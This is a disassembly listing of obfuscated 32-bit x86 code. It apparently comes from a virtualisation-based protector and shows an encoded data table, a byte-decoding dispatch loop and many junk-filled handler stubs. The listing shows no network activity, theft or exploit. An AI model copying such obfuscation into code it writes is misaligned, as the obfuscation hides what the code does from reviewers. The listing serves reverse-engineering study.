		dd 0F05D38Eh, 7505D36Bh, 8A05D340h, 0D705D2DBh,	0C505D2F6h
		dd 9B05D251h, 7705D2EBh, 0A05D36Eh, 7905D37Ah, 0F205D2EDh
		dd 0D505D265h, 6505D24Fh, 0F605D25Bh, 7705D246h, 0F305D278h
		dd 2F05D274h, 0A505D2CDh, 0A805D331h, 0C505D27Eh, 4B05D2F4h
		dd 9C05D391h, 4B05D271h, 0D05D285h, 3605D2EDh, 2405D343h
		dd 0DD05D322h, 6005D24Ch, 0AE05D333h, 0FE05D2C3h, 9F05D321h
		dd 3F05D2D5h, 0EB05D34Ch, 1F05D2D9h, 5705D2CFh,	1A05D2CCh
		dd 4305D2F0h, 0A205D308h, 0D605D358h, 0FC05D2A0h, 8605D36Eh
		dd 105D2B5h, 8F05D2F3h,	7B05D2C9h, 5705D2A4h, 0A205D368h
		dd 0E105D28Dh, 1F05D302h, 0D805D30Fh, 3805D2A7h, 1005D25Ch
		dd 0D005D2E9h, 0E305D372h, 6E05D359h, 3105D28Ah, 6305D336h
		dd 0F705D2E7h, 9D05D266h, 6005D36Ch, 0E8FC9Ch, 5F000000h
		dd 4213EF81h, 0C78B05D2h, 3F2BC781h, 473B05D2h,	0EB02752Ch
		dd 2C478913h, 0A7B9h, 105EB00h,	49408F44h, 0F775C90Bh
		dd 2424748Bh, 0F003DE8Bh, 1B9h,	0F0C03300h, 304FB10Fh
		db 75h,	0F7h
; ---------------------------------------------------------------------------


loc_57E07A:				; CODE XREF: ud2_____:0057E24Ej
					; ud2_____:loc_57E2D1j	...
		lodsb
		xor	al, bl
		push	409Ah
		mov	[esp], ebx
		mov	bh, 85h
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 44h
		jmp	loc_57FF9B
; ---------------------------------------------------------------------------


loc_57E09D:				; CODE XREF: ud2_____:00592815j
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_582255
; ---------------------------------------------------------------------------


loc_57E0B4:				; CODE XREF: ud2_____:00587580j
		add	edi, 2DF85DF3h
		jmp	loc_591FB0
; ---------------------------------------------------------------------------


loc_57E0BF:				; CODE XREF: ud2_____:0058B244j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	23C5h
		mov	[esp], esi
		jmp	loc_580E91
; ---------------------------------------------------------------------------


loc_57E0D6:				; CODE XREF: ud2_____:00581AA4j
		mov	cl, bl
		pop	bx
		push	eax
		push	ecx
		mov	ch, 90h
		mov	al, 74h
		xor	al, ch
		mov	ecx, [esp]
		push	0C6Bh
		jmp	loc_584127
; ---------------------------------------------------------------------------


loc_57E0EF:				; CODE XREF: ud2_____:00587940j
		mov	ebx, 5F601324h
		jmp	loc_58B4CF
; ---------------------------------------------------------------------------
unk_57E0F9	db    0			; CODE XREF: ud2_____:00591449j
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sub	bl, 38h
		push	edx
		sub	esp, 4
		jmp	loc_580995
; ---------------------------------------------------------------------------


loc_57E107:				; CODE XREF: ud2_____:0058DFECj
		mov	ch, 38h
		jmp	loc_59143E
; ---------------------------------------------------------------------------


loc_57E10E:				; CODE XREF: ud2_____:00583D85j
		add	ebx, ecx
		pop	ecx
		jmp	loc_58E1FF
; ---------------------------------------------------------------------------


loc_57E116:				; CODE XREF: ud2_____:005896A6j
		sub	edi, ecx
		sub	edi, 19E81B56h
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, edi
		pop	edi
		jmp	loc_58240A
; ---------------------------------------------------------------------------


loc_57E12C:				; CODE XREF: ud2_____:00583C4Fj
		push	3CABh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_590FF9
; ---------------------------------------------------------------------------


loc_57E140:				; CODE XREF: ud2_____:00583B42j
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_584331
; ---------------------------------------------------------------------------


loc_57E151:				; CODE XREF: ud2_____:00583D48j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		jmp	loc_58035F
; ---------------------------------------------------------------------------


loc_57E15E:				; CODE XREF: ud2_____:0058481Ej
		push	ebp
		push	5226h
		mov	[esp], ecx
		mov	ecx, 76CC04BBh
		jmp	loc_58D192
; ---------------------------------------------------------------------------


loc_57E171:				; CODE XREF: ud2_____:00589B18j
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58F04F
; ---------------------------------------------------------------------------


loc_57E182:				; CODE XREF: ud2_____:005922C8j
		and	edx, 3492989h
		sub	edx, 0B203FE6Eh
		mov	esi, edx
		jmp	loc_591AAF
; ---------------------------------------------------------------------------


loc_57E195:				; CODE XREF: ud2_____:0058218Dj
		xor	eax, 42AF44EAh
		shr	eax, 6
		add	eax, 4F73AA7Dh
		or	ecx, eax
		pop	eax
		shl	ecx, 6
		and	ecx, 796A61B2h
		inc	ecx
		push	edx
		mov	edx, 0EA5DF71Dh
		add	ecx, 30255BE8h
		sub	ecx, edx
		jmp	loc_57FBE0
; ---------------------------------------------------------------------------


loc_57E1C2:				; CODE XREF: ud2_____:0058C9CDj
		push	10FFh
		mov	[esp], eax
		jmp	loc_58D4E8
; ---------------------------------------------------------------------------


loc_57E1CF:				; CODE XREF: ud2_____:00590C22j
		push	ebp
		mov	ebp, 5AC90489h
		add	ecx, ebp
		pop	ebp
		jmp	loc_580D82
; ---------------------------------------------------------------------------


loc_57E1DD:				; CODE XREF: ud2_____:005807A6j
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_590D99
; ---------------------------------------------------------------------------
		xor	[esp], di
		xor	di, [esp]
		xor	[esp], di
		push	di
		push	small 4966h
		jmp	loc_5912CB
; ---------------------------------------------------------------------------


loc_57E20E:				; CODE XREF: ud2_____:0058DF28j
		add	[esp+4], edx
		pop	edx
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E253:				; CODE XREF: ud2_____:0058458Dj
		push	edx
		mov	edx, 86E48B1h
		push	eax
		mov	eax, 66961C61h
		sub	eax, 645B0B44h
		shl	eax, 4
		sub	eax, 41D43F76h
		push	ebp
		mov	ebp, 49C29B62h
		add	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1
		add	edx, ecx
		jmp	loc_590445
; ---------------------------------------------------------------------------


loc_57E28A:				; CODE XREF: ud2_____:00590650j
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_57E326
; ---------------------------------------------------------------------------


loc_57E29A:				; CODE XREF: ud2_____:005874E7j
		dec	dl
		shr	dl, 7
		add	dl, 87h
		push	6582h
		mov	[esp], ebx
		mov	bl, 0ADh
		add	al, bl
		pop	ebx
		add	al, dl
		jmp	loc_5851A6
; ---------------------------------------------------------------------------


loc_57E2B6:				; CODE XREF: ud2_____:00583009j
		xor	edx, [esp]
		pop	esp
		sub	eax, 30436CD8h
		push	70FEh
		mov	[esp], ecx
		push	10000h
		jmp	loc_57E53E
; ---------------------------------------------------------------------------


loc_57E2D1:				; CODE XREF: ud2_____:005921D7j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E2D6:				; CODE XREF: ud2_____:00590660j
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		jmp	loc_5904DD
; ---------------------------------------------------------------------------


loc_57E2E5:				; CODE XREF: ud2_____:0058DCB4j
		push	eax
		jmp	loc_57EE4D
; ---------------------------------------------------------------------------


loc_57E2EB:				; CODE XREF: ud2_____:00589C5Aj
		mov	[esp], eax
		push	esp
		jmp	loc_58D6B8
; ---------------------------------------------------------------------------


loc_57E2F4:				; CODE XREF: ud2_____:005893E0j
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_589FAD
; ---------------------------------------------------------------------------


loc_57E300:				; CODE XREF: ud2_____:00587334j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		jmp	loc_591D8E
; ---------------------------------------------------------------------------
		push	ebp
		push	2004h
		jmp	loc_592EF2
; ---------------------------------------------------------------------------


loc_57E31C:				; CODE XREF: ud2_____:00580B37j
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_58BB67
; ---------------------------------------------------------------------------


loc_57E326:				; CODE XREF: ud2_____:0057E295j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E32B:				; CODE XREF: ud2_____:00585E9Fj
		mov	[esp], edx
		mov	dh, 0C1h
		add	dh, 82h
		add	bh, dh
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	bh, 7Dh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_58D072
; ---------------------------------------------------------------------------


loc_57E366:				; CODE XREF: ud2_____:0058A0DAj
		pop	ebx
		xor	eax, [esp]
		jmp	loc_58C2AC
; ---------------------------------------------------------------------------


loc_57E36F:				; CODE XREF: ud2_____:00580F9Cj
		push	ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E377:				; CODE XREF: ud2_____:00581225j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58446A
; ---------------------------------------------------------------------------


loc_57E385:				; CODE XREF: ud2_____:00585891j
		sub	eax, ecx
		pop	ecx
		add	eax, edx
		add	eax, 1B3D2590h
		jmp	loc_58319B
; ---------------------------------------------------------------------------


loc_57E394:				; CODE XREF: ud2_____:0058D5B0j
		add	esi, 3E7E4957h
		add	esi, ebp
		sub	esi, 3E7E4957h
		jmp	loc_588245
; ---------------------------------------------------------------------------


loc_57E3A7:				; CODE XREF: ud2_____:0058246Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58145A
; ---------------------------------------------------------------------------


loc_57E3B6:				; CODE XREF: ud2_____:0058529Dj
		add	dl, 22h
		push	eax
		mov	al, dl
		mov	bh, al
		pop	eax
		pop	edx
		shr	bh, 8
		sub	esp, 4
		jmp	loc_587392
; ---------------------------------------------------------------------------


loc_57E3CE:				; CODE XREF: ud2_____:0059296Ej
		add	eax, 4
		jmp	loc_5919CF
; ---------------------------------------------------------------------------


loc_57E3D8:				; CODE XREF: ud2_____:0058445Ej
		pop	cx
		jmp	loc_58323F
; ---------------------------------------------------------------------------


loc_57E3DF:				; CODE XREF: ud2_____:0058A104j
		mov	edx, 314E6B60h
		xor	edx, 3D80423Fh
		jmp	loc_587174
; ---------------------------------------------------------------------------


loc_57E3EF:				; CODE XREF: ud2_____:0058321Fj
		add	esp, 4
		add	cl, al
		mov	ax, [esp]
		add	esp, 2
		add	al, 0BCh
		sub	al, cl
		sub	al, 0BCh
		mov	ecx, [esp]
		jmp	loc_58106D
; ---------------------------------------------------------------------------


loc_57E40F:				; CODE XREF: ud2_____:0058E313j
		sub	ch, 0CAh
		jmp	loc_58EAA1
; ---------------------------------------------------------------------------


loc_57E417:				; CODE XREF: ud2_____:0058E2A9j
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		sub	edi, 3B7D3E50h
		add	edi, edx
		add	edi, 3B7D3E50h
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 7812EA0h
		jmp	loc_582E46
; ---------------------------------------------------------------------------


loc_57E447:				; CODE XREF: ud2_____:0058A4FCj
		mov	[esp], ebx
		mov	bh, 72h
		jmp	loc_58F70F
; ---------------------------------------------------------------------------


loc_57E451:				; CODE XREF: ud2_____:00589C14j
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_58B733
; ---------------------------------------------------------------------------


loc_57E45D:				; CODE XREF: ud2_____:00585C5Dj
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58A9E2
; ---------------------------------------------------------------------------


loc_57E471:				; CODE XREF: ud2_____:0058CDCDj
		add	edx, 4
		jmp	loc_586DAD
; ---------------------------------------------------------------------------


loc_57E47C:				; CODE XREF: ud2_____:0057F863j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E491:				; CODE XREF: ud2_____:0058BAC1j
		add	esp, 4
		jmp	loc_58EA0D
; ---------------------------------------------------------------------------


loc_57E499:				; CODE XREF: ud2_____:0058CF58j
		xchg	edx, [esp]
		jmp	loc_583324
; ---------------------------------------------------------------------------


loc_57E4A1:				; CODE XREF: ud2_____:0058276Cj
		sub	ecx, 292364F6h
		not	ecx
		dec	ecx
		sub	ecx, 701EB488h
		sub	ebx, ecx
		pop	ecx
		sub	edi, ebx
		pop	ebx
		push	edi
		not	dword ptr [esp]
		jmp	loc_584AF8
; ---------------------------------------------------------------------------


loc_57E4BF:				; CODE XREF: ud2_____:00580015j
		add	esp, 4
		jmp	loc_58A471
; ---------------------------------------------------------------------------


loc_57E4C7:				; CODE XREF: ud2_____:00590361j
		push	edx
		jmp	loc_58FF06
; ---------------------------------------------------------------------------


loc_57E4CD:				; CODE XREF: ud2_____:00588F7Bj
		sub	esp, 4
		jmp	loc_582F35
; ---------------------------------------------------------------------------


loc_57E4D5:				; CODE XREF: ud2_____:00584BF2j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	eax
		jmp	loc_580631
; ---------------------------------------------------------------------------


loc_57E4E5:				; CODE XREF: ud2_____:0058F421j
		add	edx, 97EA1A9Eh
		jmp	loc_58D5C3
; ---------------------------------------------------------------------------


loc_57E4F0:				; CODE XREF: ud2_____:0057EE28j
		mov	[esp], edx
		mov	edx, 0A850039h
		inc	edx
		shr	edx, 7
		neg	edx
		jmp	loc_58ADD4
; ---------------------------------------------------------------------------


loc_57E503:				; CODE XREF: ud2_____:00588330j
		pop	ebp
		xor	esi, [esp]
		jmp	loc_585679
; ---------------------------------------------------------------------------


loc_57E50C:				; CODE XREF: ud2_____:0058C484j
		mov	eax, [esp]
		jmp	loc_58801E
; ---------------------------------------------------------------------------


loc_57E514:				; CODE XREF: ud2_____:00582E9Dj
		and	[esp], ax
		pushf
		jmp	loc_582EE5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	48E9h
		mov	[esp], edx
		jmp	loc_585F52
; ---------------------------------------------------------------------------


loc_57E53E:				; CODE XREF: ud2_____:0057E2CCj
		mov	ecx, [esp]
		push	esi
		jmp	loc_587CE0
; ---------------------------------------------------------------------------


loc_57E547:				; CODE XREF: ud2_____:005928A6j
		sub	edi, 3DCB5252h
		jmp	loc_58E1F0
; ---------------------------------------------------------------------------


loc_57E552:				; CODE XREF: ud2_____:0058B236j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_58A0DF
; ---------------------------------------------------------------------------


loc_57E55D:				; CODE XREF: ud2_____:005893A2j
		mov	edx, 6D6F2BDDh
		mov	ebp, edx
		pop	edx
		dec	ebp
		push	edi
		mov	edi, 133F6018h
		xor	edi, 7DBC5CC4h
		sub	edi, 406E2ACBh
		or	edi, 2C4E4DC0h
		xor	edi, 9AD27C6Eh
		add	ebp, edi
		pop	edi
		and	eax, ebp
		jmp	loc_590EE4
; ---------------------------------------------------------------------------


loc_57E58E:				; CODE XREF: ud2_____:00580BDDj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E593:				; CODE XREF: ud2_____:0058BB4Cj
		mov	[esp], esi
		jmp	loc_589C83
; ---------------------------------------------------------------------------


loc_57E59B:				; CODE XREF: ud2_____:0058E696j
		pop	esp
		inc	eax
		dec	eax
		xor	eax, 5000145h
		mov	esi, eax
		pop	eax
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_592B27
; ---------------------------------------------------------------------------


loc_57E5B9:				; CODE XREF: ud2_____:00591132j
		add	esp, 4
		jmp	loc_58E71D
; ---------------------------------------------------------------------------


loc_57E5C1:				; CODE XREF: ud2_____:00592847j
		mov	bh, 15h
		shr	bh, 1
		xor	bh, 5Ch
		jmp	loc_5841C4
; ---------------------------------------------------------------------------


loc_57E5CD:				; CODE XREF: ud2_____:00591D89j
		pop	esp
		mov	[esp], eax
		jmp	loc_584E4F
; ---------------------------------------------------------------------------


loc_57E5D6:				; CODE XREF: ud2_____:00591C36j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_58262C
; ---------------------------------------------------------------------------


loc_57E5EF:				; CODE XREF: ud2_____:0058E61Aj
		push	ebx
		mov	ebx, 79D84913h
		add	ebx, 0DD5FBE58h
		push	ebx
		pop	ebp
		pop	ebx
		shr	ebp, 3
		shr	ebp, 3
		shl	ebp, 3
		push	ebx
		mov	ebx, 6D873395h
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ebp, 4F791FCEh
		xor	ebp, 179C45EDh
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, eax
		push	ebp
		push	ecx
		push	46F247A4h
		pop	ecx
		neg	ecx
		push	edx
		mov	edx, 79487E71h
		sub	ecx, edx
		pop	edx
		mov	ebp, ecx
		pop	ecx
		inc	ebp
		shr	ebp, 7
		add	ebp, 1F1DBAFAh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 0C172956h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, eax
		push	eax
		push	7822h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58D01A
; ---------------------------------------------------------------------------


loc_57E6AF:				; CODE XREF: ud2_____:0058D864j
		mov	eax, 7CB15D16h
		not	eax
		sub	eax, 5C7E6F96h
		sub	ebx, eax
		pop	eax
		sub	ebx, edi
		push	esi
		jmp	loc_58ABE4
; ---------------------------------------------------------------------------


loc_57E6C6:				; CODE XREF: ud2_____:0057FB51j
		mov	esi, 4
		jmp	loc_588458
; ---------------------------------------------------------------------------


loc_57E6D0:				; CODE XREF: ud2_____:00587C2Fj
		mov	ebp, 7CED7BB1h
		sub	ecx, 2A3D4DE3h
		jmp	loc_583BC1
; ---------------------------------------------------------------------------


loc_57E6E0:				; CODE XREF: ud2_____:00585C49j
		mov	edx, esi
		push	edx
		jmp	loc_58686F
; ---------------------------------------------------------------------------


loc_57E6E8:				; CODE XREF: ud2_____:00581DF7j
		sub	edx, ebx
		pop	ebx
		add	edx, eax
		jmp	loc_58F33D
; ---------------------------------------------------------------------------


loc_57E6F2:				; CODE XREF: ud2_____:00589C91j
		add	esp, 4
		not	edi
		xchg	edi, ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		jmp	loc_58C883
; ---------------------------------------------------------------------------


loc_57E704:				; CODE XREF: ud2_____:00580C42j
		sub	esp, 4
		jmp	loc_588C26
; ---------------------------------------------------------------------------


loc_57E70F:				; CODE XREF: ud2_____:00588E4Ej
		mov	edx, esp
		add	edx, 4
		push	7E25h
		mov	[esp], edi
		push	esi
		push	ebp
		mov	ebp, 54141FDBh
		jmp	loc_592693
; ---------------------------------------------------------------------------


loc_57E72B:				; CODE XREF: ud2_____:00592133j
		sub	[esp+8], edx
		pop	edx
		jmp	loc_584592
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_5915C4
; ---------------------------------------------------------------------------


loc_57E744:				; CODE XREF: ud2_____:00584E89j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xchg	edi, [esp]
		jmp	loc_583850
; ---------------------------------------------------------------------------


loc_57E755:				; CODE XREF: ud2_____:00580D3Cj
		and	eax, 226B17FDh
		or	eax, 6F7949F7h
		jmp	loc_588F80
; ---------------------------------------------------------------------------


loc_57E764:				; CODE XREF: ud2_____:00581810j
		sub	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E76E:				; CODE XREF: ud2_____:0058B185j
		pop	dword ptr [esp]
		jmp	loc_58F54F
; ---------------------------------------------------------------------------


loc_57E776:				; CODE XREF: ud2_____:00580F10j
		add	eax, 66716E9Bh
		jmp	loc_5917A8
; ---------------------------------------------------------------------------


loc_57E780:				; CODE XREF: ud2_____:0058C2A7j
		pop	ebx
		shr	edx, 8
		and	edx, 63E75D8Eh
		jmp	loc_582844
; ---------------------------------------------------------------------------


loc_57E78F:				; CODE XREF: ud2_____:00582103j
		add	esp, 4
		add	esp, 4
		push	424Bh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_58485F
; ---------------------------------------------------------------------------


loc_57E7A4:				; CODE XREF: ud2_____:00580DFBj
		sub	ebp, 75219076h
		jmp	loc_58480F
; ---------------------------------------------------------------------------


loc_57E7AF:				; CODE XREF: ud2_____:0058E197j
		sub	eax, 6E02F0ABh
		jmp	loc_58EC57
; ---------------------------------------------------------------------------


loc_57E7B9:				; CODE XREF: ud2_____:0058E5FAj
		push	dword ptr [esp+4]
		jmp	loc_58F181
; ---------------------------------------------------------------------------


loc_57E7C2:				; CODE XREF: ud2_____:00582D35j
		add	ebx, eax
		pop	eax
		jmp	loc_57EAA7
; ---------------------------------------------------------------------------


loc_57E7CA:				; CODE XREF: ud2_____:00586024j
		neg	ecx
		jmp	loc_590B95
; ---------------------------------------------------------------------------


loc_57E7D1:				; CODE XREF: ud2_____:0058F2CDj
		push	edx
		mov	edx, 192B442Fh
		shr	edx, 4
		xor	edx, 165A2F65h
		jmp	loc_587BF7
; ---------------------------------------------------------------------------


loc_57E7E5:				; CODE XREF: ud2_____:0058AA43j
		and	eax, esi
		mov	esi, [esp]
		push	3944h
		mov	[esp], edi
		jmp	loc_58B6A9
; ---------------------------------------------------------------------------


loc_57E7F7:				; CODE XREF: ud2_____:0058C9B2j
		mov	ebp, esp
		jmp	loc_585D23
; ---------------------------------------------------------------------------


loc_57E7FE:				; CODE XREF: ud2_____:0057EFE0j
		pop	ebx
		add	esi, 464B2D81h
		add	esi, 74CD6322h
		add	esi, edx
		jmp	loc_57EC6A
; ---------------------------------------------------------------------------


loc_57E812:				; CODE XREF: ud2_____:00589EFCj
		mov	ebx, 4
		jmp	loc_592E4E
; ---------------------------------------------------------------------------


loc_57E81C:				; CODE XREF: ud2_____:00583F80j
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 38F53C1Bh
		jmp	loc_58BDDF
; ---------------------------------------------------------------------------


loc_57E832:				; CODE XREF: ud2_____:005845EDj
		pop	esp
		jmp	loc_58E6D9
; ---------------------------------------------------------------------------


loc_57E838:				; CODE XREF: ud2_____:00589F0Bj
		xchg	eax, edx
		push	edi
		mov	edi, 37A37D47h
		jmp	loc_58C0CE
; ---------------------------------------------------------------------------


loc_57E844:				; CODE XREF: ud2_____:00592340j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_581CED
; ---------------------------------------------------------------------------


loc_57E84F:				; CODE XREF: ud2_____:005881FAj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_582F3F
; ---------------------------------------------------------------------------


loc_57E858:				; CODE XREF: ud2_____:0058776Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	eax, 7E6A642Dh
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_58CE04
; ---------------------------------------------------------------------------


loc_57E882:				; CODE XREF: ud2_____:005911C8j
		xor	ecx, 8C52BD73h
		mov	ebp, ecx
		jmp	loc_57F797
; ---------------------------------------------------------------------------


loc_57E88F:				; CODE XREF: ud2_____:0058F673j
		add	esp, 4
		jmp	loc_58092C
; ---------------------------------------------------------------------------


loc_57E897:				; CODE XREF: ud2_____:005880BEj
		sub	eax, 2
		jmp	loc_58641F
; ---------------------------------------------------------------------------


loc_57E8A1:				; CODE XREF: ud2_____:00582C33j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E8A6:				; CODE XREF: ud2_____:0058ABD3j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_58C489
; ---------------------------------------------------------------------------


loc_57E8B5:				; CODE XREF: ud2_____:0057FCBEj
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		jmp	loc_58A4DF
; ---------------------------------------------------------------------------


loc_57E8C4:				; CODE XREF: ud2_____:0058F682j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58C526
; ---------------------------------------------------------------------------


loc_57E8D7:				; CODE XREF: ud2_____:0059277Ej
		pop	esp
		jmp	loc_584EAE
; ---------------------------------------------------------------------------


loc_57E8DD:				; CODE XREF: ud2_____:0058E812j
		add	esi, ebx
		pop	ebx
		jmp	loc_590C67
; ---------------------------------------------------------------------------


loc_57E8E5:				; CODE XREF: ud2_____:005918D0j
		dec	edx
		not	edx
		and	edx, 24526DE5h
		sub	edx, 9427042Fh
		xor	edi, edx
		jmp	loc_58CFD7
; ---------------------------------------------------------------------------


loc_57E8FB:				; CODE XREF: ud2_____:00586AE1j
		sub	bh, 69h
		add	bh, dl
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_590C3C
; ---------------------------------------------------------------------------


loc_57E911:				; CODE XREF: ud2_____:0059011Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_57E969
; ---------------------------------------------------------------------------


loc_57E923:				; CODE XREF: ud2_____:005872BEj
		add	[esp+4], eax
		add	dword ptr [esp+4], 5D26163Eh
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	7F0464C6h
		pop	esi
		jmp	loc_592BBA
; ---------------------------------------------------------------------------


loc_57E95B:				; CODE XREF: ud2_____:005907B4j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58FF00
; ---------------------------------------------------------------------------


loc_57E969:				; CODE XREF: ud2_____:0057E91Ej
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_58DBF7
; ---------------------------------------------------------------------------


loc_57E97D:				; CODE XREF: ud2_____:0057EEA3j
		push	edx
		mov	edx, 75836D60h
		sub	edx, 24582A7Fh
		sub	ebp, edx
		pop	edx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_583ABB
; ---------------------------------------------------------------------------


loc_57E995:				; CODE XREF: ud2_____:0058A79Fj
		push	0E4Ch
		mov	[esp], esi
		jmp	loc_592160
; ---------------------------------------------------------------------------


loc_57E9A2:				; CODE XREF: ud2_____:0058F182j
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	ecx
		push	269h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57E9B9:				; CODE XREF: ud2_____:0058BDBFj
		mov	ecx, 15855280h
		jmp	loc_587BCE
; ---------------------------------------------------------------------------


loc_57E9C3:				; CODE XREF: ud2_____:00592BB5j
		shl	bp, 4
		xor	bp, 2D8Ah
		mov	bx, bp
		pop	ebp
		push	di
		jmp	loc_58B368
; ---------------------------------------------------------------------------


loc_57E9D7:				; CODE XREF: ud2_____:00582A5Cj
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		push	edi
		jmp	loc_58BC13
; ---------------------------------------------------------------------------


loc_57E9E8:				; CODE XREF: ud2_____:00581662j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_584C2D
; ---------------------------------------------------------------------------


loc_57E9FD:				; CODE XREF: ud2_____:00581F55j
		push	ecx
		mov	ecx, 4A3C483Ch
		shl	ecx, 3
		push	eax
		mov	eax, 0A7B07CBh
		jmp	loc_587267
; ---------------------------------------------------------------------------


loc_57EA11:				; CODE XREF: ud2_____:0058406Fj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_585DBE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57EA33:				; CODE XREF: ud2_____:0058E85Fj
		pop	edx
		mov	edi, [esp]
		jmp	loc_586691
; ---------------------------------------------------------------------------
